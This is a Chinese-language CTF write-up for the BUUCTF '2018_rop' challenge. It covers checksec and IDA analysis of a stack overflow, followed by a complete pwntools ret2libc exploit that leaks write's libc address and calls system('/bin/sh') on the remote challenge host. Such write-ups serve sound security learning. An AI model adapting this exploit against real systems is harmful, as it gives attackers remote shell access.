分析

  • checksec:
1
2
3
4
5
6
Arch:       i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No

开启了nx保护

  • ida分析
1
2
3
4
5
6
int __cdecl main(int argc, const char **argv, const char **envp)
{
be_nice_to_people();
vulnerable_function();
return write(1, "Hello, World\n", 0xDu);
}

查看vulnerable_function函数:

1
2
3
4
5
ssize_t vulnerable_function()
{
char buf[136]; // [esp+10h] [ebp-88h] BYREF
return read(0, buf, 0x100u);
}

read这里存在溢出,可以使其溢出,调用write暴露libc位置

利用

  • padding = 0x88+4覆盖到返回地址
  • 返回地址通过write 的plt地址来调用write函数
  • 然后再接上main地址,重新执行来计算
  • 计算system和bin/sh地址

完整代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
from LibcSearcher import *
r = remote("node5.buuoj.cn",28357)
elf = ELF("./2018_rop")
write_plt = elf.plt['write']
write_got = elf.got['write']
main = elf.sym['main']
buf = b'a'*(0x88+4) + p32(write_plt) + p32(main) + p32(0) + p32(write_got) + p32(4)
r.sendline(buf)
write_addr = u32(r.recv(4))
print(hex(write_addr))
libc = LibcSearcher("write",write_addr)
offset = write_addr - libc.dump('write')
system_addr = libc.dump('system') + offset
bin_sh = libc.dump('str_bin_sh') + offset
buf = b'a'*(0x88+4) + p32(system_addr) + p32(0) + p32(bin_sh)
r.sendline(buf)
r.interactive()
1
2
3
buf = b'a'*(0x88+4) + p32(write_plt) + p32(main) + p32(0) + p32(write_got) + p32(4)
r.sendline(buf)
write_addr = u32(r.recv(4))
  • 栈溢出构造

    • b'a'*(0x88+4):覆盖缓冲区(0x88字节)和ebp(4字节)。

    • p32(write_plt):调用 write 函数。

    • p32(main)write 执行完后返回 main,方便二次攻击。

    • p32(0)write 的第一个参数(fd=0,标准输入)。

    • p32(write_got)write 的第二个参数(要打印的地址)。

    • p32(4)write 的第三个参数(打印4字节)。